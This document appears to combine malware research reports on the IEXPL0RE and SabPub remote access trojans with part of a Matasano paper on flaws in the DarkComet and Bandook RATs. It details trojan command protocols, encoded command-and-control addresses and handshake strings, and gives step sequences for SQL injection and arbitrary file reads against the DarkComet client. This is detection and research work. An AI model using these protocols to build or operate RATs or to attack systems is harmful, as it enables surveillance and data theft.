RAT contains over 40 commands that an attacker can use to manipulate the file system and registry, download and run additional programs, and find and exfiltrate data. An infected computer defaults to recording keystrokes and sending this data back to the server at regular intervals. The additional commands are there for interactive control of the system in real-time by an attacker. This program is likely used in multiple phases. After infection, the keylogger records data including email addresses and passwords. Once an account s credentials have been captured, the attacker can log in and set up a forwarding address or download all of the data stored online. Once a compromised machine has been determined useful by looking at the keylogger data, an attacker can use the RAT functionality to download files and install more specific malware - for example, a Skype plugin that records calls. While post-infection behaviour from an attacker against a real target has not been observed in this investigation, this is a standard method in targeted attacks. One particular area of interest with this RAT is that it contains a specific functionality for plugins relating to video and audio capture. Each time the malware connects to the command and control server, it sends a list of all video capture devices present on the computer. This behaviour may indicate that the attacker is specifically interested in seeing who is on the other end of the computer, and is actively collecting data on what the targets look like. For a full list of the commands supported by IEXPL0RE and a description of what they do, see Appendix B: Command Enumeration. DETECTION AND MITIGATION A system infected with the IEXPL0RE RAT can be found by looking for presence of the IEXPL0RE files, or by watching network traffic. In addition to the IEXPL0RE.EXE file itself, presence of the perf*.dat files and link files in %temp% are an indicator that the system is infected. The timestamps on the files are an indication of how long the system has been infected. A network intrusion detection system (IDS) can identify infected machines by looking for wellknown traffic patterns. The simplest of these is checking for HTTP traffic to /index[0-9]{9}.asp. Blocking this traffic will prevent the infected machine from communicating with the C2 server, receiving new commands, and sending back keylogger data. The C2 IP or hostname can also be blocked directly once it s found, at the network level or (as a temporary measure) in the infected computer s hosts file. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT REMOVAL A running copy of IEXPL0RE can be stopped by killing the appropriate svchost process. This process is identifiable as it is not in the correct place in the process tree. In figure 10, this is the last process in the list, PID 1256: FIGURE 10: PROCESS EXPLORER SHOWING THE INFECTED SVCHOST.EXE PROCESS (1256). The process can be killed with the Process Explorer tool, part of the Sysinternals package (figure 10). Once the process has been terminated, removal is as simple as deleting the installed files (see the section on Infection above for a list). CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT CONCLUSIONS The IEXPL0RE RAT is a good example of the current state of APT attacks, especially those targeting human rights organizations and NGOs. While they are not particularly advanced from a technical standpoint, they are custom designed to appeal to and pique the interest of the recipient. The attacker uses social engineering to get a foot in the door of an organization. All it takes is for one user to run a malicious program that looks like a legitimate video, spreadsheet, or other document. Once running on a user s machine, the program will silently record passwords and provide the attacker a way of accessing sensitive data. This report describes what is normal in this area, by detailing what a common attack looks like at each step of the way, from when an email is first received to when data leaves the network. Many APT campaigns like the one presented in this report exist and continue to steal data every day, but are both avoidable and correctable. The IEXPL0RE RAT is under active development, as both the client and server components are continuously changing. The server in particular has exhibited different behavior over time, mostly related to blocking unauthorized access from the outside world. For example, the redirect to Microsoft s website when referencing an invalid URL was not present when this investigation began. The presence of development work or upgrades implies that this system is actively used and monitored. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT APPENDIX A: CONFIGURATION FILE The configuration sent to the C2 server on initial connection has the client configuration at the beginning (figure 11), followed by more information about the infected computer (figure 12). FIGURE 11: CLIENT CONFIGURATION SENT TO C2 CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 12: DETAILED INFORMATION ON INFECTED COMPUTER SENT TO C2 CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT APPENDIX B: COMMAND ENUMERATION The following is a list of all commands present in the IEXPL0RE malware, and a detailed description of what data is received or sent over the network for each command. CODE COMMAND SERVER / DESCRIPTION CLIENT 0x00 Failure Client response for a variety of commands to indicate that the operation did not succeed. 0x01 Success Client response for a variety of commands to indicate that the operation succeeded. Contains variable data related to the command request. 0x01 Reply file does not exist Reply file for plugin does not exist. Packet contains: [4] - Command code (0x01) 0x02 Reply file over 512kB Reply file for plugin is over 512kB. Packet contains: [4] - Command code (0x02) 0x03 Reply file Reply file for plugin. Packet contains: [var] - buffer -- implemented so always 0? 0x03 Shutdown Sends a shutdown + power off + force command to the system. Requires parameters 0/0. 0x04 Reboot Sends a reboot + force command to the system. Requires parameters 0/0. 0x06 Reconnect Disconnects open connections and reconnects. 0x07 Shut off display Sends WM_SYSCOMMAND message SC_MONITORPOWER to shut off the display. 0x0B Download and install malware Downloads a file, writes it to disk, and possibly executes it. Packet contains: [4] - executable size [var] - executable Depending on configuration and AV software present, writes the file to IEXPL0RE.EXE (in application data folder, Microsoft subfolder), fxsst.dll (in Windows system directory), or SENS64.DLL (in temp path). May run IEXPL0RE. EXE depending on options; may also install configuration file (STREAM.SYS or Cache). Returns failure or success with parameters 0/0. 0x0C Install dropped files Checks configuration file options and moves the appropriate dropped files to the correct locations (may vary depending on Windows version). Returns failure or success with parameters 0/0. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x0D Update configuration file Downloads new configuration parameters and writes the updated information to the configuration file. Packet option 2: [2] - Value1 == 2 [180] - Unused? Packet option 1: update campaign name? [2] - Value1 == 1 [4] - campaign name length [var] - campaign name Packet option 4: update configuration file [2] - Value1 == 4 [2] - port [2] - unknown (offset 264) [2] - unknown (offset 266) [4] - unknown (offset 664) [1] - unknown (offset 274) [1] - unknown (offset 534) [2] - unknown (offset 532) [2] - unknown (offset 270) [2] - unknown (offset 272) [4] - campaign name length [var] - campaign name [4] - C2 name length [var] - C2 name [4] - unknown length [var] - unknown (unused?) [4] - unknown length [var] - unknown (offset 275) [4] - unknown length [var] - unknown (offset 535) [4] - unknown length [var] - unknown (offset 599) Returns failure or success with parameters 0/0. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x0E Download and run plugin Opens a new connection in a new thread, downloads a file, then runs it (possibly with Internet Explorer credentials). This looks like a plugin activation for screen captures and audio recording -- references offscreen.dll and offsound.dll. Packet contains: [4] - unknown (field_4) [4] - unknown length [var] - unknown (field_8) [4] - DLL name length [var] - DLL name [4] - DLL arguments length [var] - DLL arguments [4] - Reply filename length [var] - Reply filename [4] - unknown length [var] - unknown (field_620) [4] - unknown length [var] - unknown (field_724) [1] - unknown (field_828) [1] - unknown (field_829) [1] - unknown (field_82A) [1] - Add process ID, socket, verb to DLL arguments? [1] - Create process as IE user? [4] - unknown length [var] - unknown (field_82C) [4] - unknown (field_934) Handshake for the new connection uses connection number -1. If the connection is successful, replies with a failure packet, parameters 0/0, containing: [4] - unknown (field_4) [4] - unknown length [var] - unknown (field_8) [4] - DLL name length [var] - DLL name [4] - Reply filename length [var] - Reply filename [4] - unknown length [var] - unknown (field_620) [4] - unknown length [var] - unknown (field_724) [1] - unknown (field_828) [1] - unknown (field_829) [4] - unknown length [var] - unknown (field_82C) [4] - unknown (field_934) If successful, it will send the C2 an X command. The C2 will reply with a file, which the client writes to disk. The client will send a success or failure packet with parameters 0/0 depending on whether the file was received. If field_828 is non-zero, the client will send the contents of the reply filename specified in a 0x03 command with parameters 0/0. The way this is implemented, it appears as if it will always send an empty packet. If process creation is unsuccessful, it will send a failure packet with parameters 0/0 containing the following: [4] - command (0x00) CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x0F Download and execute file Downloads a file and runs it. Packet contains: [4] - executable size [var] - executable Downloads the file to %temp% and executes it. Returns failure or success with parameters 0/0. 0x10 Unknown Updates a values in the lock.dat file and sets an event. Packet contains: [4] - Value length [var] - Value Sets the DWORD at lock.dat offset 516 to 2, and copies the value from the packet to offset 520. Sets the USERMODECMD event. 0x11 Unknown Reads a value out of %temp%/screenlog.txt. Returns a success or failure command with parameters 0/0 depending on whether the value read equals 1. The command contains: [4] - Value Where value equals: 0 : file does not exist 3 : value read from file equals 1 4 : value read from file equals 0 5 : value read from file equals 2 0x12 Unknown Reads a value out of %temp%/offsoundlog.txt. Returns a success or failure command with parameters 0/0 depending on whether the value read equals 1. The command contains: [4] - Value Where value equals: 0 : file does not exist 3 : value read from file equals 1 4 : value read from file equals 0 5 : value read from file equals 2 0x1E sub_10004603() If not empty, packet contains: [2] - _WIN32_FIND_DATAA structure length [var] - Data for file name If empty, packet contains: [2] - Set to 0 [1] - 1 if structure size > 40000, 0 if failure Parameters are set to Res1/Res2. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x20 Move file Moves a file or directory. Packet contains: [4] - Source length [var] - Source [4] - Destination length [var] - Destination Returns failure or success with parameters 1/Res1 0x21 Delete file Deletes a file or directory. Packet contains: [4] - File name length [var] - File name Returns a success or failure command with parameters Res2/Res1. 0x22 Create directory Creates a directory. Packet contains: [4] - Path name length [var] - Path name Returns a success or failure command with parameters Res2/Res1. 0x23 GetSystemInfo request Requests client to send a 0x24 response with the output of GetSystemInfo(). 0x24 GetSystemInfo response Contains a _SYSTEM_INFO struct with the output of GetSystemInfo(). 0x26 Get document paths Gets paths for CSIDL special folders PERSONAL (My Documents), DESKTOPDIRECTORY (Desktop), and HISTORY (Internet history). Returns a success command containing: [4] - My Documents path length [var] - My Documents path [4] - Desktop path length [var] - Desktop path [4] - Internet history path length [var] - Internet history path Parameters are set to 1/Res1. 0x29 Move file or directory Moves a file or directory. Packet contains: [4] - Source length [var] - Source [4] - Destination length [var] - Destination Returns failure or success with parameters 1/Res1. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x2A Set file access time and attributes Sets the creation time, last access time, last write time, and file attributes of a file. Packet contains: [8] - CreationTime [8] - LastAccessTime [8] - LastWriteTime [4] - dwFileAttributes [4] - File name length [var] - File name Returns failure or success with parameters Res2/Res1. 0x2B Unknown Does some file-walking, including across all drives available (A to Z). Replies with a 0x2C command followed by a number of 0x2D commands. Packet contains: [4] - Directory length [var] - Directory [4] - Unknown length [var] - Unknown 0x2C Unknown start response Response to the 0x2B command. Uses parameters Res2/Res1. Packet contains: [4] - Number of 0x2D packets to follow 0x2D Unknown response Response to the 0x2B command. Uses parameters Res2/Res1. Packet contains: [4] - Unknown data length [var] - Unknown data, result of sub_10001B73() 0x2F Owner name, organization, and serial number request 0x46 Read from file 0x47 Read from file response Sends the owner name, organization, and serial number. Returns a success response with the following data: [4] - Username length [var] - Username [4] - User organization length [var] - User organization [4] - Serial length [var] - Serial Packet contains: [8] - File offset [2] - Characters to read [4] - Length of field 3 [var] - Field 3 Replies with a 0x47 packet containing data from a file. Response to 0x46 that contains data from a file. Sent with parameters 2/2. Packet contains: [2] - Size [var] - Data CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x4B List files Lists files in a given directory along with file size and last write times. Packet contains [4] - Directory length [var] - Directory 0x4C Start of list files response Start of list response to 0x4B. Sent with parameters 2/2. Packet has no payload. 0x4D End of list files response End of list response to 0x4B. Sent with parameters 2/2. Packet has no payload. 0x4E List files response List item for response to 0x4B. Sent with parameters 2/2. Packet contains: [8] - FindFileData.nFileSizeLow, FindFileData.nFileSizeHigh [8] - .ftLastWriteTime.dwLowDateTime, .dwHighDateTime [4] - length of next field [var] - whole string: filename plus size and write time 0x4F Open file Opens a specified file for use with 0x46 [and friends]. Packet contains: [4] - File name length [var] - File name [4] - File mode length [var] - File mode Returns failure or success with parameters 2/2. 0x50 Close file Closes file opened with 0x4F command. No response sent. 0x5A Start of running program list Response to 0x5D command that signals the start of a list of running programs. Packet is empty with parameters 3/Res1. 0x5B End of running program list 0x5C Running program Response to 0x5D command that signals the end of a list of running programs. Packet is empty with parameters 3/Res1. Response to 0x5D command that contains the first executable module for a single process. One packet is sent per process. Packet contains: [24] - PROCESSENTRY32.th32ProcessID [4] - length of executable module name [var] - length of executable module 0x5D List running programs Sends a list of executable names for running processes. Replies with a 0x5A response, followed with a 0x5C packet for each executable, and ends with a 0x5B response. Client uses the CreateToolhelp32Snapshot() API function followed by Process32First()/Process32Next() to list all processes. The executable name is the module name returned by Module32First(). 0x5E Kill process Kills a running process. Packet contains: [4] - Process ID Returns failure or success with parameters 3/Res1. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x5F Run program Runs a program already present on the client. Packet contains: [4] - Command line length [var] - Command line Returns success or failure with parameters 3/Res1. 0x72 Unknown - open connection B? Creates multiple new threads and a new C2 connection (via full handshake) with connection number 11. Packet contains: [4] - Unknown length [var] - Unknown value (if 0 < length < 80000) Returns success or failure with parameters 11/11. If successful, contains the following payload: [4] - Unknown length [var] - Unknown (v2 + 808) [4] - Unknown value 0x73 Unknown - remove connection B? May relate to uninstalling. Packet contains: [4] - Process ID Kills the process with given process ID, and closes a socket. Returns success or failure with parameters 11/11. If failure, contains the following payload: [4] - Process ID [4] - Unknown length [var] - Unknown (v2 + 808) 0x82 Number of services Response to 0x85 command with the number of services on the system. Packet contains: [4] - Number of services returned by EnumServicesStatusA() Response parameters are 5/5. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x84 Service information Response to 0x85 command with details on a service. Packet contains: [4] - Service handle [4] - Current state [4] - Start type [4] - Error control [4] - Length of service name [var] - Service name [4] - Length of service display name [var] - Service display name [4] - Length of service binary path [var] - Service binary path [4] - Length of service description [var] - Service description [4] - Length of service start name [var] - Service start name Response parameters are 5/5. 0x85 List services Lists all services on the system. Sends a 0x82 response with the number of services, then 0x84 responses with service details. 0x86 Start service Starts a service on the system. Packet contains: [4] - Length of service name [var] - Service name Returns success with parameters 5/5 if service is started. 0x87 Control service Sends a control message to a service on the system. Packet contains: [4] - Length of service name [var] - Service name [4] - Service control parameter Service control parameters are: 1 - stop 2 - pause 3 - continue Returns success with parameters 5/5 with the payload: [4] - Service current state CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x88 Create service Creates a new service on the system. Packet contains: [4] - Service name length [var] - Service name [4] - Display name length [var] - Display name (set in CreateServiceA()) [4] - Binary path name length [var] - Binary path name [4] - Display name length [var] - Display name (set by ChangeServiceConfig2A()) [4] - Start type Returns success or failure with parameters 5/5. If success, contains the following payload: [4] - Service handle [4] - Current state [4] - Start type [4] - Error control [4] - Length of service name [var] - Service name [4] - Length of service display name [var] - Service display name [4] - Length of service binary path [var] - Service binary path [4] - Length of service description [var] - Service description [4] - Length of service start name [var] - Service start name 0x89 Delete service Deletes a service from the system. Packet contains: [4] - Service name length [var] - Service name Returns success or failure with parameters 5/5. 0x8A Set service options Changes the display name and start type of a service. Packet contains: [4] - Service name length [var] - Service name [4] - Display name length [var] - Display name (max 256 chars) [4] - Display name length [var] - Display name (max 512 chars) [4] - Service start type Returns success or failure with parameters 5/Res2 0x96 Enumerate registry keys Opens a registry key and enumerates its subkeys. Replies with an 0x97 packet with subkey information. Packet contains: [4] - Registry key name length [var] - Registry key name CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x97 Enumerate registry keys response Contains a list of all the subkey names for a given registry key. Packet contains: [4] - Number of subkeys (N) [var, N times] : [4] - Subkey name length [var] - Subkey name Parameters are set to 6/6. 0x98 Registry key last write time query Requests the last write time on a specified registry key and returns the information in a 0x99 packet. Packet contains: [4] - Registry key name length [var] - Registry key name 0x99 Registry key last write time response Contains the last write time of a registry key. Packet contains: [8] - Last write time (_FILETIME structure) Parameters are set to 6/6. 0x9A Enumerate registry key values Opens a registry key and enumerates its values. Replies with a 0x9B packet with the number of values and maximum size values. Sends a 0x9C packet for each value, then signifies the end of the list with a 0x9D packet. Packet contains: [4] - Registry key name length [var] - Registry key name 0x9B Start of registry key value enumeration list Response to the 0x9A command signifying the start of a registry key value enumeration. Packet contains: [4] - Number of values associated with the registry key [4] - Max value name length [4] - Max value length Parameters are set to 6/6. 0x9C Registry key value enumeration item Response to the 0x9A command signifying a registry key value. Packet contains: [4] - Type [4] - Value name size [var] - Value name [4] - Value data size [var] - Value data Parameters are set to 6/6. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x9D End of registry key value enumeration list Response to the 0x9A command signifying the end of a registry key value enumeration. Parameters are set to 6/6. 0x9F Delete registry key value Deletes a value from a registry key. Packet contains: [4] - Registry key name length [var] - Registry key name [4] - Registry key value length [var] - Registry key value Returns success or failure with parameters set to 6/6. 0xA0 Change registry key value Changes a value of a registry key. Packet contains: [4] - Registry key name length [var] - Registry key name [4] - Registry key old value length [var] - Registry key old value [4] - Registry key new value length [var] = Registry key new value Returns success or failure with parameters set to 6/6. 0xA1 Create empty registry key value Creates a registry key value of a specified type with no value. Packet contains: [4] - Registry key name length [var] - Registry key name [4] - Registry key value name length [var] - Registry key value name [4] - Registry key value type Returns success or failure with parameters set to 6/6. 0xA2 Create registry key Creates a registry key. Can be a subkey. Packet contains: [4] - Registry key name length [var] - Registry key name Returns success or failure with parameters set to 6/6. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0xA3 Set registry key type and value Sets a registry key type and value. Packet always contains: [4] - Registry key name length [var] - Registry key name [4] - Registry value name length [var] - Registry value name [4] - Registry value type The value then can take a different form based on the value type. Value type 0 (empty): No payload. Value type 1 (REG_SZ, null terminated string): [4] - Registry value length [var] - Registry value Value type 3 (REG_BINARY, raw binary data): [4] - Registry value length [var] - Registry value Value type 4 (REG_DWORD, double word): [4] - Registry value Returns success or failure with parameters 6/6. 0xA4 Does nothing. Possibly an unimplemented or deleted function. 0xA5 Delete registry key Deletes a registry key. Can be a subkey. Packet contains: [4] - Registry key name length [var] - Registry key name Returns success or failure with parameters 6/6. 0xB6 Keylogger response Sends keylogger data from the keylogger buffer file. Keylogger data: [4] - Length [1] - All bytes read? 1 or 0 [var] - Keylogger data Parameters are set to the output of function 4 in the class C vtable? 0xB8 Keylogger data request Requests keylogger data in a 0xB6 packet. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0xC8 Unknown - get a screenshot? Looks suspiciously like taking a screenshot. Packet contains: [2] - Unknown [2] - Unknown [1] - Unknown Replies with failure or success with parameters 8/8. If success, contains the following fields: [2] - Monitor width size (X) in pixels [2] - Monitor height size (Y) in pixels [4] - Unknown [4] - Unknown size (screenshot?) [var] - Unknown (screenshot?) 0xCA Send keyboard or mouse event Packet contains: [4] - Unknown [4] - Extra information for keybd_event or mouse_event [4] - Flags for keybd_event or mouse_event [4] - Vk for keybd_event [4] - x coordinate for mouse or Vk for keyboard [4] - y coordinate for mouse [4] - Data for mouse event 0xCB Downloads a file Downloads a file to %temp%\off.dll. Packet contains: [2] - Unknown [2] - Unknown [2] - Unknown [4] - Data length [4] - Unknown length [var] - Unknown [4] - Unknown length [var] - Unknown [4] - File data length [var] - File data Writes log information on the size of the downloaded file to c:\aaa\ccc.txt. New Version of OSX.SabPub & Confirmed Mac APT attacks Late last week, we found evidence of a possible link between a Mac OS X backdoor trojan and an APT attack known as LuckyCat. The IP address of the C&C to which this bot connects (199.192.152.*) was also used in other Windows malware samples during 2011, which made us believe we were looking at the same entity behind these attacks. For the past two days, we have been monitoring a fake infected system - which is a typical procedure we do for APT bots. We were extremely surprised when during the weekend, the APT controllers took over our goat infected machine and started exploring it. On Friday Apri 13, port 80 on the C&C server located at rt*****.onedumb.com and hosted on a VPS in Fremont, U.S. was closed. Saturday, the port was opened and bot started communicating with the C&C server. For the entire day, the traffic was just basic handshakes and exchanges, nothing more. On the morning of Sunday April 15, the traffic generated by the C&C changed. The attackers took over the connection and started analysing our fake victim machine. They listed the contents of the root and home folders and even stole some of the goat documents we put in there! Encoded communication between C&C and our fake victim Packet above, decoded - attacker is listing folders content We are pretty confident the operation of the bot was done manually -- which means a real attacker, who manually checks the infected machines and extracts data from them. We can therefore confirm SabPub as APT in active stage. On Sunday midday, the C&C domain was shutdown and the bot lost connection to it; this appears to be an initiative from the free DNS service onedumb.com and it was no doubt triggered by the media attention. Interestingly, the VPS used as the C&C is still active. While analysing SabPub, we discovered another version of the backdoor which seems to have been created earlier. This version differs from the original one only slightly -- the hardcoded C&C address is different -instead of the onedumb.com subdomain used by the original sample (hardcoded in the bot as e3SCNUA2Om97ZXJ1fGI+Y4Bt ), this one simply contains the IP address of the VPS (hardcoded as OjlDLjw5Pi4+NUAuQDBA ), meaning, it should still be operational. Its size is 42556 bytes vs 42580 for the original one. One of the biggest mysteries is the infection vector of these attacks. Given the highly targeted nature of the attack, there are very few traces. Nevertheless, we found an important detail which is the missing link: Six Microsoft Word documents, which we detect as Exploit.MSWord.CVE-2009-0563.a. In total we have six relevant Word .docs with this verdict -- with four dropping the MaControl bot. The remaining two drop SabPub. The most interesting thing here is the history of the second SabPub variant. In our virus collection, it is named 8958.doc . This suggests iit was extracted from a Word document or was distributed as a Doc-file. We performed an analysis of the same and traced its origin by the MD5 (40C8786A4887A763D8F3E5243724D1C9). The results were fascinating: - The sample was uploaded to VirusTotal on February 25, 2012 from two sources in the U.S. - In both cases, the original file name was 10th March Statemnet (yes, with the typo and without extension) - Zero detections on VirusTotal at that time (0/40) In case you are wondering, the name of the file ( 10th March Statemnet ) is directly linked with the DalaiLama and Tibetan community. On March 10, 2011, the Dalai-Lama released a special statement related to Anniversary of the Tibetan People s National Uprising Day -- hence the name. Properties field of a document used to spread SabPub Unfortunately there is little information in the doc files, but the Author field and the creation date are interesting. In particular, if we trust the creation date, this means the container DOC was created in August 2010 and it was updated in 2012 with the SabPub sample. This is quite normal for such attacks and we have seen it in other cases, for instance, Duqu. We think the above facts show a direct connection between the SabPub and Luckycat APT attacks. We are pretty sure the SabPub backdoor was created as far back as February 2012 and was distributed via spearphishing emails. It is also important to point that SabPub isn t backdoor MaControl (the case was described here) but still uses the same topics to trick victims into opening it. SabPub was the more effective attack because it remained undetected for almost two months! The second variant of SabPub was created in March and the attackers are using Java exploits to infect target Mac OS X machines. SabPub is still an active attack and we expect the attackers will release new variants of the bot with new C2s over the next days/weeks. To summarize: - At least two variants of the SabPub bot exist today. - The earliest version of the bot appears to have been created and used in February 2012. - The malware is being spread through Word documents that exploit the CVE-2009-0563 vulnerability. - SabPub is different from MaControl, another bot used in APT attacks in February 2012; SabPub was more effective because it stayed undetected for more than 1.5 months. - the APT behind SabPub is active at the time of writing. * Thanks to Aleks Gostev and Igor Soumenkov for the analysis. RESEARCH pest control: taming the rats Authors Shawn Denbow Twitter: @sdenbow_ Email: denbos@rpi.edu Jesse Hertz Twitter: @hectohertz Remote Administration Tools (RATs) allow a remote attacker to control and access the system. In this paper, we present our analysis of their protocols, explain how to decrypt their traffic, as well as present vulnerabilities we have found. Email: jhertz@brown.edu Introduction As 2012 Matasano summer interns, we were tasked with running a research project with a couple criteria: It should be something we are both interested in. We should be able to present our research for the company at the end of our internship. However, on completion, we decided that it would be best if we made our findings public. With John Villamil, our advisor, we decided that given our interest in low-level analysis, we should analyze Remote Administration Tools (RATs). RATs have recent seen media attention RATs due to their use by oppressive governments in spying on activists and other dissidents . We felt this to be a perfect project. Remote Administration Tools are pieces of software which, once installed on a victim s computer allow a remote user to control and access the system. RATs can be used legitimately by system administrators, or they can be used maliciously. There are a variety of methods by which they are installed on a computer: Various social engineering tactics can be employed to get a user to open the executable, they can be bundled with other pieces of software, they can be installed as the payload of a virus or worm, or they can be installed after an attacker gains access to a system through an exploit. Most of the commonly available RATs are at least able to perform keylogging, screen and camera capture, file management, code and script execution, power control, registry management, and password sniffing. Wikipedia has a more complete list of common RAT functionality [1]. Our research focused on analyzing several publicly available RATs: DarkComet, Bandook, CyberGate and Xtreme RAT. Interestingly, all of the RATs we analyzed were coded either in part or entirely in Delphi. They all featured a reverse connecting architecture, as well as some form of cryptography or obfuscation of their communications. In this paper, we present our analysis of their protocols, explain how to decrypt their traffic, as well as present vulnerabilities we have found. The appendices to this paper contain MITM tools for decrypting traffic, as well as proof of concept exploits for the vulnerabilities we ve found. Basic RAT Architecture Most RATs employ a reverse-connecting architecture. The client program, resides on the attacker s machine and is used to control a compromised system. If often features a full UI designed for ease of use. In contrast, the server program is a much smaller stub which is installed on the compromised computer. These servers feature no UI, and take measures to disguise their presence. On execution, the sever initiates a connection back to the client computer, and remote control is then possible. The client program typically has the ability to generate server stubs, which have the IP address of the client (the command and control center) hard coded into them. Some free versions of the RATs we investigated were feature limited to producing server stubs that were not stealthy or could only connect to localhost, with the ability to generate full stubs only available on purchasing the paid version. Some servers had measures to defeat or disable antivirus and firewall software on the compromised machine. The DarkComet RAT DarkComet is one of the most popular RATs in use today, gaining recent notoriety after its use by the Syrian government [13]. The encryption method used in DarkComet has already been extensively analyzed by various researchers [2] [3], so we will not reiterate here. We reverse engineered the DarkComet protocol and analyzed it for vulnerabilities. After a quick look at its protocol, it is easy to see that it uses a as it delimiter between string parameters. Although, there is no delimiter between the command and the first parameter. The DarkComet client stores information about servers in a SQLite database, which is kept in the directory from which the client runs. This database also holds usernames and passwords for FTP servers to which the client has been configured to connect. When a new connection is established, a handshake occurs which looks like this: Notation C->S indicates a message from the Client to the Server S->C indicates a message from the Server to the Client indicates the message is unencrypted DarkComet Handshake C->S: IDTYPE S->C: SERVER C->S: GetSIN172.16.1.1|769734 S->C: infoesGuest16|172.16.1.1 / [172.16.1.128] : 1604|USER-3AA4AD4D2 / Administrator|769734|0s|Windows XP Service Pack 3 [2600] 32 bit ( C:\ )|x|| US||{HW-ID}|43%|English (United States) US / 5.3.0 Copyright 2012 Matasano Security. All rights reserved. -- |6/13/2012 at 2:45:59 PM| For testing purposes, we wrote our own server which replied with the following shorter SIN (Server Info) string: infoesX|1|S|5|0s|W |x||US|I]|{7}|80%|E|6|5 SQL Injection in DarkComet By attaching a debugger to the client, we were able to view the SQL strings it generated by the client to query its database. Upon connection with the above SIN string, the following SQL statement is executed: "SELECT * FROM dc_users WHERE UUID="{7}" If that UUID is not in the database, the following statement is executed: "INSERT INTO dc_users VALUES( "{7}", "1", "S", "W", "0")" If that UUID already exists, then the following statement is executed: "UPDATE dc_users SET userIP="1" WHERE UUID="{7}"" There is no input validation or sanitization, so all of these SQL statements are injectable with the following caveats: Executing multiple commands in one statement with s is disabled, anything after a will not be executed load_extension() is disabled These can be used to modify data in the database. We did not further develop these vulnerabilities to get information out of the database, as our next exploit made doing so unnecessary. Arbitrary File Read from the Client s File System in DarkComet DarkComet uses a protocol that we have termed QuickUp in order to do ad-hoc uploading of files. For instance, the client has a feature which allows you to edit the compromised computers hosts file. This is done by downloading the hosts file to the client computer, editing it, and then uploading it back to the server. The last part of that exchange uses the QuickUp protocol, and looks like this: DarkComet QuickUpload C->S: QUICKUPC:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SynHosts.txt|752|HOSTS A new connection between the client and server is now established to handle the file transfer. The old connection is not closed first, the existing socket just has connect() called on it again C->S: IDTYPE S->C: QUICKUP752|C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SynHosts.txt|HOSTS C->S (U): \x41\x00\x43 C->S (U): LENGTH_OF_FILE_IN_BYTES S->C (U): C->S (U): RAW_DATA_OF_SPECIFIED_FILE S->C (U): Copyright 2012 Matasano Security. All rights reserved. Note that the protocol consists of two stages, the QUICKUP command issued from the client, which establishes a connection, and the QUICKUP command issued from the server, which begins the file transfer. Most importantly, after the new connection has been opened, the server requests the file to be uploaded. Three major weaknesses are present in this implementation: There is no check that the file in the client QUICKUP is the same as the file in the server QUICKUP The client responds to a QUICKUP commands, even if there was no corresponding QUICKUP from the client The client allows the server to specify the absolute path This flaw allows the retrieval of any file on the filesystem that it has permissions to read. So for instance, to get a dump of the SQLite database, we can do the following: (1) Connect to the server and successfully complete the handshake (2) Open a new connection over our old one, the client will now reply: DarkComet SQLite DB Dump C->S: IDTYPE We now send a QUICKUP command unprompted S->C: QUICKUP111|comet.db|UPLOADEXEC C->S (U): \x41\x00\x43 S->C (U): C->S (U): LENGTH_OF_FILE S->C (U): C->S (U): RAW_DATA_OF_COMET.DB Any file in the DarkComet directory can be read this way. Alternatively, absolute paths can be specified, allowing read access to any file on the client filesystem (that DarkComet has permissions to access). Reading C:\secret.txt from Client s File System Copyright 2012 Matasano Security. All rights reserved. Reading C:\secret.txt from Client s File SystemOverall, this presents an issue for anyone using DarkComet. If a server sample is discovered, it is trivial to retrieve the key from the binary that is used in the network communication. The key retrieval process can even be automated [4]. Recently, the developer of the RAT has quit any further development due to its misuse, therefore leaving this issue unpatched [12]. For a stub server (written in python) that can exploit both of these vulnerabilities, see Appendix A. The Bandook RAT Bandook is written in a mix of C++ and Delphi [5] [6]. The server is able to use process injection, API unhooking, and kernel patching to bypass (some versions) of the Windows firewall. The server itself is fairly limited in functionality, but has the ability to be extended through a plugin architecture: the client can upload plugin code to the server. The client comes with several plugins which need to be installed on the server to enable full functionality. By default, the server attempts to hide itself by creating a process based on the default browser settings. It lacks any real cryptography to protect its traffic. Instead, it obfuscates its traffic by XORing against the constant 0xE9: XOR Loop with Constant Almost all messages are suffixed with in cleartext: Server Keepalive with The client comes bundled with TightVNC 1.2.9.0, which has a publicly known security vulnerability. More information regarding the vulnerability and proof of concept code is available online [7]. The latest public release of Bandook is v1.35, while the private version is at 1.4. The public version was released April 2007, which makes it quite old and outdated. It only supports up to Windows Vista, while the private version supports up to Win7. Copyright 2012 Matasano Security. All rights reserved. Reverse Engineering The Bandook Protocol We will leave out the cleartext suffix from our analysis. Establishing a connection with the client is simple. The server will start by sending one command: Bandook Connection Initialization S -> C: &first& # 0d 1h 15m # Admin # # 172.16.250.128 / WhiteHouse #yes#yes#no#no#bndk13me#USA#no#yes#yes# So a first command is used to establish a connection. The fields separated correspond to info displayed in the client, such as IP, username, uptime, and location. The fields marked yes/no correspond to whether the server has a given plugin or not. The keepalive is as follows: Bandook Keepalive C -> S: &BANG& S-> C: &BAMG& To see the protocol for additional functionality, we recommend using the MITM decoder in Appendix B. To any researchers who are interested in further work on Bandook, we have a fairly detailed set of notes on the additional functionality protocols, which is available upon request. The CyberGate RAT CyberGate is another RAT written in Delphi. It s also the only RAT we saw that featured protection against reverse engineering. Using LordPE to obtain a dump, you can see the following strings: CyberGate Anti-Analysis Copyright 2012 Matasano Security. All rights reserved. Both PEiD and Detect It Easy could not identify what packer had been used. We worked on unpacking it, until we finally discovered a tool called ProtectionID. This was able to identify the packer 